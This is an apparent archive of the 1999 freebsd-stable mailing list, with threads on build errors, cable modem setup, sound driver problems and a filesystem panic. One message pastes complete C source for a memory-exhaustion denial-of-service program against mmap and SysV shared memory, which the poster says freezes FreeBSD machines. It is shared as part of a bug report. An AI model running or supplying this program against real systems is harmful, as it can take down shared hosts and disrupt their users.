"unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:56:46 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id E31A0154E2; Mon, 4 Oct 1999 11:56:03 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id D85FD1CD473; Mon, 4 Oct 1999 11:56:03 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 4 Oct 1999 11:56:03 -0700 (PDT) From: Kris Kennaway To: "Michael Sperber [Mr. Preprocessor]" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: -DNOCLEAN failure In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 4 Oct 1999, Michael Sperber [Mr. Preprocessor] wrote: > This is possibly a stupid newbie question; I'm doing my first serious > stable build, cvsupped yesterday. > > I'm doing the build in AFS using arla, which is not absolutely stable > yet. The build gets far, but arla will usually quit before the build > finishes completely. Hence, I'm using to -DNOCLEAN to restart the > build. This fails in one place: > > The buildworld tries to overwrite readonly files via vanilla cp -p to > > /usr/obj/usr/src/tmp/usr/bin > > which fails. I need to do Why are these files readonly? make world is _supposed_ to write to the files under /usr/obj. I'm not sure what you mean by readonly, either - if this is something arla (I don't know what that is either, but I guess it's related to AFS :) is doing then it sounds like a problem with arla.. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:19:13 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.aepnet.com (ns1.aepnet.com [208.129.247.1]) by hub.freebsd.org (Postfix) with ESMTP id 16429150D0 for ; Mon, 4 Oct 1999 12:19:07 -0700 (PDT) (envelope-from chris@ns1.aepnet.com) Received: from localhost (chris@localhost) by ns1.aepnet.com (8.8.7/8.8.7) with ESMTP id MAA19182 for ; Mon, 4 Oct 1999 12:20:53 -0700 Date: Mon, 4 Oct 1999 12:20:53 -0700 (MST) From: chris To: stable@freebsd.org Subject: RE: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Kris Kennaway wrote: > On Mon, 4 Oct 1999, Milliken, Scott wrote: > > > One extremely important note about @Home service... make sure that you > > disable all of your services in inetd before ever calling them up to report > > outages or for any other tech support issue. The first time that I placed a > > Sounds like you should build an ipfw firewall which disallows connections > from the @home network. That way unless they portscan from an external > host, they'll never know.. > > Kris > Or, if you've got connected friends, an encrypted tunnel to their network could be a handy thing.. chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:23:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id 0E1F61553F for ; Mon, 4 Oct 1999 12:22:55 -0700 (PDT) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id PAA11710; Mon, 4 Oct 1999 15:22:54 -0400 (EDT) Message-Id: <3.0.5.32.19991004152203.00f11370@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 04 Oct 1999 15:22:03 -0400 To: freebsd-stable@FreeBSD.ORG From: Mike Tancsa Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... Cc: Matthew Dillon In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Speaking of mmap, was this DoS every fixed/ commited to stable ? With slag3% limit -h cputime unlimited filesize 32768 kbytes datasize 32768 kbytes stacksize 65536 kbytes coredumpsize unlimited memoryuse 32768 kbytes memorylocked 32768 kbytes maxproc 16 openfiles 48 The program below with the argument 9999999999999 effectivly freezes the box. It seems the more swap you have, the bigger the chunk you need to slog your machine FreeBSD 3.3-STABLE #0: Sun Oct 3 09:51:34 EDT 1999 /* * This program can be used to exploit DoS bugs in the VM systems or utility * sets of certain OS's. * * Common problems: * 1. The system does not check rlimits for mmap and shmget (FreeBSD) * 2. The system never bothers to offer the ability to set the rlimits for * virtual memory via shells, login process, or otherwise. (Linux) * 3. b. The system does not actually allocate shared memory until a page fault * is triggered (this could be argued to be a feature - Linux, *BSD) * a. The system does not watch to make sure you don't share more memory * than exists. (Linux, Irix, BSD?) * 4. With System V IPC, shared memory persists even after the process is * gone. So even though the kernel may kill the process after it exhausts all * memory from page faults, there still is 0 memory left for the system. * (All) * * This program should compile on any architecture. SGI Irix is not * vulnerable. From reading The Design and Implementation of 4.4BSD it sounds * as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory * as you tell it. I haven't tried page faulting the memory, as the system is * not mine. I'd be very interested to hear about OpenBSD... * * This program is provided for vulnerability evaluation ONLY. DoS's aren't * cool, funny, or anything else. Don't use this on a machine that isn't * yours!!! */ #include #include #include #include /* redefinition of LBA.. PAGE_SIZE in both cases.. */ #ifdef __linux__ #include #include #endif #include #include #include #include #include int len; #define __FUXX0R_MMAP__ /* mmap also implements the copy-on-fault mechanism, but because the only way * to easily exploit this is to use anonymous mappings, once the kernel kills * the offending process, you can recover. (Although swap death may still * occurr */ /* #define __FUXX0R_MMAP__ */ /* Most mallocs use mmap to allocate large regions of memory. */ /* #define __FUXX0R_MMAP_MALLOC__ */ /* Guess what this option does :) */ #define __REALLY_FUXX0R__ /* From glibc 2.1.1 malloc/malloc.c */ #define DEFAULT_MMAP_THRESHOLD (128 * 1024) #ifndef PAGE_SIZE # define PAGE_SIZE 4096 #endif #ifndef SHMSEG # define SHMSEG 256 #endif #if defined(__FUXX0R_MMAP_MALLOC__) void *mymalloc(int n) { if(n <= DEFAULT_MMAP_THRESHOLD) n = DEFAULT_MMAP_THRESHOLD + 1; return malloc(n); } void myfree(void *buf) { free(buf); } #elif defined(__FUXX0R_MMAP__) void *mymalloc(int n) { int fd; void *ret; fd = open("/dev/zero", O_RDWR); ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); close(fd); return (ret == (void *)-1 ? NULL : ret); } void myfree(void *buf) { munmap(buf, len); } #elif defined(__FUXX0R_SYSV__) void *mymalloc(int n) { char *buf; static int i = 0; int shmid; i++; /* 0 is IPC_PRIVATE */ if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } if((buf = shmat(shmid, 0, 0)) == (char *)-1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } #ifndef __REALLY_FUXX0R__ if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return buf; } void myfree(void *buf) { shmdt(buf); } #endif #ifdef __linux__ void cleanSysV() { struct shmid_ds shmid; struct shm_info shm_info; int id; int maxid; int ret; int shid; maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info); printf("maxid %d\n", maxid); for (id = 0; id <= maxid; id++) { if((shid = shmctl (id, SHM_STAT, &shmid)) < 0) continue; if (shmctl (shid, IPC_RMID, NULL)) { perror("shmctl"); } printf("id %d has %d attachments\n", shid, shmid.shm_nattch); shmid.shm_nattch = 0; shmctl(shid, IPC_SET, &shmid); if(shmctl(shid, SHM_STAT, &shmid) < 0) { printf("id %d deleted sucessfully\n", shid); } else if(shmid.shm_nattch == 0) { printf("Still able to stat id %d, but has no attachments\n", shid); } else { printf("Error, failed to remove id %d!\n", shid); } } } #endif int main(int argc, char **argv) { int shmid; int i = 0; char *buf[SHMSEG * 2]; int max; int offset; if(argc < 2) { printf("Usage: %s <[0x]size of segments>\n", argv[0]); #ifdef __linux__ printf(" or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]); #endif exit(0); } #ifdef __linux__ if(!strcmp(argv[1], "--clean")) { cleanSysV(); exit(0); } #endif len = strtol(argv[1], NULL, 0); for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len)) ; max = i; perror("Stopped because"); printf("Maxed out at %d %d byte segments\n", max, len); #if defined(__FUXX0R_SYSV__) && defined(SHMMNI) printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page " "size: %d), \n", SHMMNI, SHMSEG, SHMMAX, PAGE_SIZE); #endif #ifdef __REALLY_FUXX0R__ fprintf(stderr, "Page faulting alloced region... Have a nice life!\n"); for(i = 0; i < max; i++) { for(offset = 0; offset < len; offset += PAGE_SIZE) { buf[i][offset] = '*'; } printf("wrote to %d byes of memory, final offset %d\n", len, offset); } // never reached :( #else for(i = 0; i <= max; i++) { myfree(buf[i]); } #endif exit(42); } ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:29:49 1999 Delivered-To: freebsd-stable@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7B75A14DAC; Mon, 4 Oct 1999 12:29:40 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA68462; Mon, 4 Oct 1999 12:29:21 -0700 (PDT) (envelope-from dillon) Date: Mon, 4 Oct 1999 12:29:21 -0700 (PDT) From: Matthew Dillon Message-Id: <199910041929.MAA68462@apollo.backplane.com> To: Adrian Penisoara Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : Excuse my intrusion, but could you be so kind to tell me whether you had :the time to build patches for these MMAP-related freezes ? If not could :you recommend me some workarounds ? : : I have a -stable production server that keeps (solidly) blocking pretty :often (I don't get over 3 days uptimes). If you need details just let me :know. : :> -Matt :> Matthew Dillon :> : Thanks, : Ady (@warpnet.ro) Well, your lockups may or may not be related to the remaining mmap problems. They could be related to the swap fragmentation problems in stable, or they could be related to something else entirely. In order to determine the cause of your lockup problems, some additional information is necessary. The easiest way to get the information is to enable DDB and kernel core dumps so you can panic the machine from the console and get a core. Once you have the core 'cd /var/crash; ps -M vmcore.X -N kernel.X' (where X is the latest dump number) can be used to determine what the processes were doing when they locked up. The two most common VM-related lockups in -stable are: (1) swap metadata fragmentation due to paging in the face of large running processes (system runs out of KVM), and (2) write()ing the mmap'd area of one file descriptor to another. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:34:37 1999 Delivered-To: freebsd-stable@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id ACE701553F for ; Mon, 4 Oct 1999 12:34:21 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA68497; Mon, 4 Oct 1999 12:34:19 -0700 (PDT) (envelope-from dillon) Date: Mon, 4 Oct 1999 12:34:19 -0700 (PDT) From: Matthew Dillon Message-Id: <199910041934.MAA68497@apollo.backplane.com> To: Mike Tancsa Cc: freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... References: <3.0.5.32.19991004152203.00f11370@staff.sentex.ca> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Speaking of mmap, was this DoS every fixed/ commited to stable ? : :With :slag3% limit -h :cputime unlimited :filesize 32768 kbytes No. There is no limit on how much memory can be allocated via mmap(). There will soon be a resource limit to help determine which process(es) to kill when a machine runs out of swap, and someone was working on a per-user (rather then per-process) overall memory use resource-limit, but neither yet exists . -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:35:53 1999 Delivered-To: freebsd-stable@freebsd.org Received: from juur.ruutjuur.net (juur.ruutjuur.net [194.204.12.188]) by hub.freebsd.org (Postfix) with ESMTP id 6B93415617 for ; Mon, 4 Oct 1999 12:35:06 -0700 (PDT) (envelope-from mauri@spiral.inspiral.net) Received: from rips.inspiral.net (spiral.inspiral.net [194.204.49.249]) by juur.ruutjuur.net (8.9.3/8.9.3) with SMTP id WAA09817 for ; Mon, 4 Oct 1999 22:35:02 +0300 (EEST) (envelope-from mauri@spiral.inspiral.net) Message-Id: <199910041935.WAA09817@juur.ruutjuur.net> Comments: Authenticated sender is From: "Lauri Laupmaa" Organization: Inspiral.Net To: stable@freebsd.org Date: Mon, 4 Oct 1999 22:35:01 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: make world errors X-mailer: Pegasus Mail for Win32 (v2.53EE/R1) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi still I get: /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: In function `crypt': /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:62: warning: unused variable `j' /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: At top level: /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:14: warning: `rcsid' defined but not used make: don't know how to make crypt-md5.c. Stop *** Error code 2 Stop. *** Error code 1 where lies the problem ? TIA _____________ Lauri Laupmaa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 12:37:23 1999 Delivered-To: freebsd-stable@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id D9CE61553B for ; Mon, 4 Oct 1999 12:37:06 -0700 (PDT) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id PAA16013; Mon, 4 Oct 1999 15:37:02 -0400 (EDT) Message-Id: <3.0.5.32.19991004153611.010a93a0@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 04 Oct 1999 15:36:11 -0400 To: Matthew Dillon From: Mike Tancsa Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <199910041934.MAA68497@apollo.backplane.com> References: <3.0.5.32.19991004152203.00f11370@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:34 PM 10/4/99 -0700, Matthew Dillon wrote: > >:Speaking of mmap, was this DoS every fixed/ commited to stable ? >: >:With >:slag3% limit -h >:cputime unlimited >:filesize 32768 kbytes > > No. There is no limit on how much memory can be allocated via mmap(). > > There will soon be a resource limit to help determine which process(es) > to kill when a machine runs out of swap, and someone was working on a > per-user (rather then per-process) overall memory use resource-limit, but > neither yet exists . Thanks for the response. Do you imagine that this would be integrated into stable, or would this be a 4.x branch change only. ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 13:24:43 1999 Delivered-To: freebsd-stable@freebsd.org Received: from destiny.erols.com (destiny.erols.com [207.96.73.65]) by hub.freebsd.org (Postfix) with ESMTP id 642D81528C for ; Mon, 4 Oct 1999 13:24:33 -0700 (PDT) (envelope-from jdowdal@destiny.erols.com) Received: from destiny.erols.com (someone@destiny.erols.com [207.96.73.65]) by destiny.erols.com (8.9.3/8.6.12) with ESMTP id QAA15448; Mon, 4 Oct 1999 16:24:16 -0400 (EDT) Date: Mon, 4 Oct 1999 16:24:16 -0400 (EDT) From: John Dowdal To: David Kott Cc: High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 3 Oct 1999, David Kott wrote: > That seems odd to me. My roommate and I share the same cable modem. We > are not proxied as each of us have a distinct, and static IP. @Home > allows us to purchase additional IPs (up to 3 per household) to add > additional computers. > The modem is a Mot. Cybersurfer Wave. Both times I set up cable modems on unix, they had a single IP. The power cycle rule applied for the single-IP config on the old (big) motorola, and the new (small) motorola on Comcast cable system in Baltimore County, MD, and to the system in Norfolk VA. In both cases, we set up a BSD machine with two ethernet cards. One connected to teh cable modem directly, the other connected to the LAN (LAN side is 100mbit too). The unix machine took on the real IP, and the 100mbit network was configured with NATD (illegally for @home, but who cares). John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 13:42:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 80E8B15151 for ; Mon, 4 Oct 1999 13:42:47 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id QAA82030; Mon, 4 Oct 1999 16:42:46 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14329.4421.847994.918399@trooper.velocet.net> Date: Mon, 4 Oct 1999 16:42:45 -0400 (EDT) To: freebsd-stable@freebsd.org Subject: More on the crashes already mentioned. X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reference to the two crash dumps I've posted, the most interesting thing about them is that a non-debug kernel seems to be stable on the box. I can't really explain why, but we tried all kinds of things --- changing hardware... even exchanging whole guts of machines and those two examples of crashes persisted. Then in a fit of despairation, I recompiled the kernel w/o debug symbols and so far (touch wood) the machine has been stable. Now... the machine has 256M of memory ... so I wouldn't expect that kernel size *should* be an issue, but something is not right here. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 16: 1:23 1999 Delivered-To: freebsd-stable@freebsd.org Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by hub.freebsd.org (Postfix) with ESMTP id 1EA7514F40; Mon, 4 Oct 1999 16:01:00 -0700 (PDT) (envelope-from klui@cup.hp.com) Received: from cup44ux.cup.hp.com (klui@cup44ux.cup.hp.com [15.13.168.124]) by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA25361; Mon, 4 Oct 1999 16:00:56 -0700 (PDT) Received: from localhost (klui@localhost) by cup44ux.cup.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA01504; Mon, 4 Oct 1999 15:54:33 -0700 (PDT) Date: Mon, 4 Oct 1999 15:54:32 -0700 (PDT) From: Ken Lui To: freebsd-stable@freebsd.org, freebsd-hardware@freebsd.org Subject: Re: AD1816 patch on FreeBSD Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've sent some email to some people in regards to my problem but haven't had a resolution so I thought I would send it to this list. Luigi responded but he's too busy to work on the sound drivers. If someone has had their Kayak's sound hardware recognized, I would appreciate a pointer. I have also tried using the pnp interface in /boot/kernel.config but it didn't work either. I keep on getting the timeout messages in my log files. Espen was the person who patched it for his Kayak, but he's away from his machines and his contact hasn't replied about what his configurations are. German was the other person who worked with the code a bit but after I sent him my reply, he hasn't gotten back to me. I guess they're both expecting the auto probe to turn up something. If I put in a bogus port, the kernel will complain that the sound "card" isn't found. But unlike lots of other sound hardware, it doesn't specify the port's range (0x220-0x232), just its beginning (0x220). Guess I will have to go back to Slackware... Tried disabling the parallel port (IRQ conflict), but that didn't help. Ken -- Ken Lui 3495 Deer Creek Road klui@cup.hp.com Palo Alto, CA 94304 USA Information Solutions & Services 1.650.236.5364 FAX 1.650.857.2085 Views within this message may not be those of the Hewlett-Packard Company ---------- Forwarded message ---------- Date: Sat, 2 Oct 1999 10:40:06 -0700 (PDT) From: Ken Lui To: espensk@stud.cs.uit.no Subject: Re: AD1816 patch on FreeBSD (fwd) Hi Espen, I have been talking with some folks on the FreeBSD team about getting my Kayak XU's sound working. Do you have any insights as to how you configured your Kayak's card going? Ken -- Ken Lui 3495 Deer Creek Road klui@cup.hp.com Palo Alto, CA 94304 USA Information Solutions & Services 1.650.236.5364 FAX 1.650.857.2085 Views within this message may not be those of the Hewlett-Packard Company ---------- Forwarded message ---------- Date: Sat, 2 Oct 1999 10:33:45 -0700 (PDT) From: Ken Lui To: German Tischler Cc: luigi@freebsd.org Subject: Re: AD1816 patch on FreeBSD On Sat, 2 Oct 1999, German Tischler wrote: > > I'm in the process of getting FreeBSD installed on my Kayak-XU and it > > doesn't seem to be working. I've gotten FreeBSD3.2 and looking at the > > code, it doesn't look like your patch made it in. So I patched it and my > > kernel configuration has this line: > > As far as I remember, the AD1816A code is already in 3.2R. Hi German, Thanks very much for your reply. I was referring to the additional patch for the 1816 code: I saw that the file mentioned in 3.2STABLE doesn't have it. It was submitted 29 January 1999 which adds vendor id 0x81719304. > > device pcm0 at isa? port ? tty irq 10 drq 1 flags 0x0 > > > > I've enabled > > > > controller pnp0 > > controller isa0 > > controller pci0 > > > > When the system boots up, it says > > > > pcm0 at 0x220 irq 10 drq 1 on isa > > > > If I try to issue > > cat sndfile.au > /dev/audio, I get > > /dev/audio: Device not configured > > > > lrwxrwxrwx 1 root wheel 6 Oct 1 18:11 /dev/audio@ -> audio1 > > crw-rw-rw- 1 root wheel 30, 4 Oct 1 21:57 /dev/audio0 > > crw-rw-rw- 1 root wheel 30, 20 Oct 1 18:11 /dev/audio1 > > > Please send me the output of pnpinfo from the machine with the 1816. > The code probably doesn't look for the vendor id. My main problem is that pnpinfo says no plug-n-play devices exist. su> /usr/sbin/pnpinfo Checking for Plug-n-Play devices... No Plug-n-Play devices were found su> My home PC's BIOS says no PNP OS used, and my BIOS for my Kayak essentially says the same thing although my Sound Blaster at home is on an ISA card while on the Kayak, the thing is integrated into the motherboard. Should I put it to "yes"? pciconf -l doesn't tell me anything about the sound card: chip0@pci0:0:0: class=0x060000 card=0x00000000 chip=0x71908086 rev=0x02 hdr=0x00 chip1@pci0:1:0: class=0x060400 card=0x00000000 chip=0x71918086 rev=0x02 hdr=0x01 chip2@pci0:7:0: class=0x060100 card=0x00000000 chip=0x71108086 rev=0x02 hdr=0x00 ide_pci0@pci0:7:1: class=0x010180 card=0x00000000 chip=0x71118086 rev=0x01 hdr=0x00 none0@pci0:7:2: class=0x0c0300 card=0x00000000 chip=0x71128086 rev=0x01 hdr=0x00 chip3@pci0:7:3: class=0x068000 card=0x00000000 chip=0x71138086 rev=0x02 hdr=0x00 ahc0@pci0:8:0: class=0x010000 card=0x78809004 chip=0x80789004 rev=0x01 hdr=0x00 chip4@pci0:19:0: class=0x060400 card=0x000000dc chip=0x00241011 rev=0x03 hdr=0x01 vga0@pci1:0:0: class=0x030000 card=0xff03102b chip=0x0521102b rev=0x01 hdr=0x00 ncr0@pci2:4:0: class=0x010000 card=0x10001000 chip=0x000f1000 rev=0x26 hdr=0x00 lnc1@pci2:5:0: class=0x020000 card=0x106c103c chip=0x20001022 rev=0x25 hdr=0x00 I have a pdf file of the configuration for my Kayak and the hardware hooks are: DMA0 capture DMA1 playback IRQ5 AD1816, LPT2 IRQ11 AD1816 MIDI IO 200 AD1816 joystick IO 220-232 AD1816 Sound Blaster IO 330-331 AD1816 MIDI IO 388-38B AD1816 Adlib (FM) So I tried several things. I tried the following configurations for pcm0: device pcm0 at isa? port ? tty irq 5 drq 1 flags 0x0 device pcm0 at isa? port 0x220 tty irq 5 drq 1 flags 0x10 I also tried to use the snd0 driver instead: controller snd0 device sb0 at isa? port 0x220 irq 5 drq 1 device opl0 at isa? port 0x388 But upon bootup, I get the following in my log: sb0 at 0x220 irq 5 drq 1 on isa NOTE! SB Pro support required with your soundcard! snd0: opl0 at 0x388 on isa snd0: So I added options EXCLUDE_SBPRO did a make clean and all the combinations above produce: SoundBlaster: DSP Command(0xd4) timeout. IRQ conflict ? SoundBlaster: DSP Command(0xd3) timeout. IRQ conflict ? Using just sb0 gives me the same result; and I cannot just have opl0 because it's missing midi functions at link time. Using options EXCLUDE_MIDI doesn't help. If I use the pcm0 driver, I get in addition to the above: timeout flushing dbuf_out, chan 1 cnt 0x729f flags 0x00000441 When I use pcm0, I linked /dev/audio to /dev/audio0. I will now see if disabling my parallel port will fix the problem. If you can provide any insights, I would appreciate it. Ken -- Ken Lui 3495 Deer Creek Road klui@cup.hp.com Palo Alto, CA 94304 USA Information Solutions & Services 1.650.236.5364 FAX 1.650.857.2085 Views within this message may not be those of the Hewlett-Packard Company To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 16:15:18 1999 Delivered-To: freebsd-stable@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 93B9314FB7 for ; Mon, 4 Oct 1999 16:14:57 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.0.4] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.032 #1) id 11YFcv-00035g-00 for freebsd-stable@freebsd.org; Mon, 04 Oct 1999 22:26:33 +0100 Received: (from ben) by strontium.scientia.demon.co.uk (Exim 3.032 #1) id 11YFcu-0000Kg-00 for freebsd-stable@freebsd.org; Mon, 04 Oct 1999 22:26:32 +0100 Date: Mon, 4 Oct 1999 22:26:32 +0100 From: Ben Smithurst To: freebsd-stable@freebsd.org Subject: panic: ffs_blkfree: freeing free frag Message-ID: <19991004222632.A1258@strontium.scientia.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone know what could have caused this? panic: ffs_blkfree: freeing free frag (kgdb) bt #0 boot (howto=256) at ../../kern/kern_shutdown.c:285 #1 0xc012c1a0 in at_shutdown ( function=0xc0201e7d <__set_sysctl__vfs_ffs_sym_sysctl___vfs_ffs_doreallocblks+637>, arg=0xc0201e3a, queue=262164) at ../../kern/kern_shutdown.c:446 #2 0xc01aab6c in ffs_blkfree (ip=0xc0dec200, bno=1998, size=2048) at ../../ufs/ffs/ffs_alloc.c:1352 #3 0xc01acb8b in ffs_truncate (vp=0xc4485440, length=0, flags=0, cred=0x0, p=0xc43f5180) at ../../ufs/ffs/ffs_inode.c:341 #4 0xc01b5eb6 in ufs_inactive (ap=0xc455ded8) at ../../ufs/ufs/ufs_inode.c:84 #5 0xc01bb061 in ufs_vnoperate (ap=0xc455ded8) at ../../ufs/ufs/ufs_vnops.c:2299 #6 0xc0150506 in vput (vp=0xc4485440) at vnode_if.h:767 #7 0xc0153781 in unlink (p=0xc43f5180, uap=0xc455df94) at ../../kern/vfs_syscalls.c:1340 #8 0xc01e0397 in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 1, tf_esi = 134599360, tf_ebp = -1077948204, tf_isp = -1001005084, tf_ebx = 134599216, tf_edx = 0, tf_ecx = 0, tf_eax = 10, tf_trapno = 7, tf_err = 2, tf_eip = 671805808, tf_cs = 31, tf_eflags = 582, tf_esp = -1077948316, tf_ss = 39}) at ../../i386/i386/trap.c:1100 #9 0xc01d750c in Xint0x80_syscall () #10 0x8049f9e in ?? () #11 0x804a3cb in ?? () #12 0x80491b9 in ?? () ben@scientia:~$ uname -a FreeBSD scientia.demon.co.uk 3.2-STABLE FreeBSD 3.2-STABLE #146: Fri Sep 3 20:49:01 BST 1999 ben@magnesium.scientia.demon.co.uk:/usr/src/sys/compile/SCIENTIA i386 This happened during the news expire run, and the filesystem question does not have softupdates enabled (at least, I'm assuming the filesystem this happened on is the one I think it is, I'd probably have to dig about more than I'd like to to find out for sure). If anyone wants more information, let me know and I'll try to find it. (Of course, it may well be dodgy hardware, but I thought I'd report it anyway in case it's a problem someone recognises.) -- Ben Smithurst | PGP: 0x99392F7D ben@scientia.demon.co.uk | key available from keyservers and | ben+pgp@scientia.demon.co.uk To 